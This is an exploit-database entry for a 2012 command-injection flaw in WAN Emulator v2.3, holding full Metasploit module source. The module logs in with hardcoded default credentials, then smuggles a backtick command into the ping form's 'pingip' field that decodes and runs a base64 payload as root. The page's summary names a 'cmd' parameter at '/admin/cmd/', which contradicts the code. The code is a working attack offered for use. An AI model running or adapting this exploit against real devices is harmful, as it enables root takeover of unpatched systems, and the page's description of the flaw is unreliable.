WAN Emulator v2.3 Command Execution

vendor:

WAN Emulator

by:

Brendan Coles

7,5

CVSS

HIGH

Remote Code Execution

CWE

Product Name: WAN Emulator

Affected Version From: 2.3

Affected Version To: 2.3

Patch Exists: NO

Related CWE: N/A

CPE: a:wan_emulator:wan_emulator:2.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Unix

2012

WAN Emulator v2.3 Command Execution

This module exploits a command injection vulnerability in WAN Emulator v2.3. The vulnerability exists in the 'cmd' parameter of the '/admin/cmd/' URI, which is accessible to authenticated users. An attacker can inject arbitrary commands, which are executed with root privileges.

Mitigation:

Restrict access to the vulnerable URI and ensure that user input is properly sanitized.

Source

Exploit-DB raw data:

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WAN Emulator v2.3 Command Execution',
      'Description'    => %q{
      },
      'License'        => MSF_LICENSE,
      'Privileged'     => true,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Author'         =>
        [
          'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
        ],
      'References'     =>
        [
        ],
      'Payload'        =>
        {
          'Space'       => 1024,
          'BadChars'    => "",
          'DisableNops' => true,
          #'Compat'      =>
          #  {
          #    'PayloadType' => 'cmd',
          #    'RequiredCmd' => 'generic netcat netcat-e',
          #  }
        },
      'DefaultOptions' =>
        {
          'ExitFunction' => 'none'
        },
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 12 2012'
    ))
  end

  def exploit
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'accounts', 'login/'),
    })

    cookie = res.headers['Set-Cookie']

    csrf = $1 if res.body =~ / name='csrfmiddlewaretoken' value='(.*)' \/><\/div>/

    post = {
      'csrfmiddlewaretoken' => csrf,
      'username' => 'd42admin',
      'password' => 'default',
      'next' => '/'
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'accounts', 'login/'),
      'vars_post' => post,
      'method' => 'POST',
      'cookie' => cookie
    })

    unless res.code == 302
      fail_with("auth failed")
    end

    cookie = res.headers['Set-Cookie']

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ping/'),
      'cookie' => cookie
    })

    cookie = res.headers['Set-Cookie']
    csrf = $1 if res.body =~ / name='csrfmiddlewaretoken' value='(.*)' \/><\/div>/

    post = {
      'csrfmiddlewaretoken' => csrf,
      'pingip' => "www.google.com`echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode|sh`",
      'ping' => ''
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ping/'),
      'method' => "POST",
      'vars_post' => post,
      'cookie' => cookie
    })
  end
end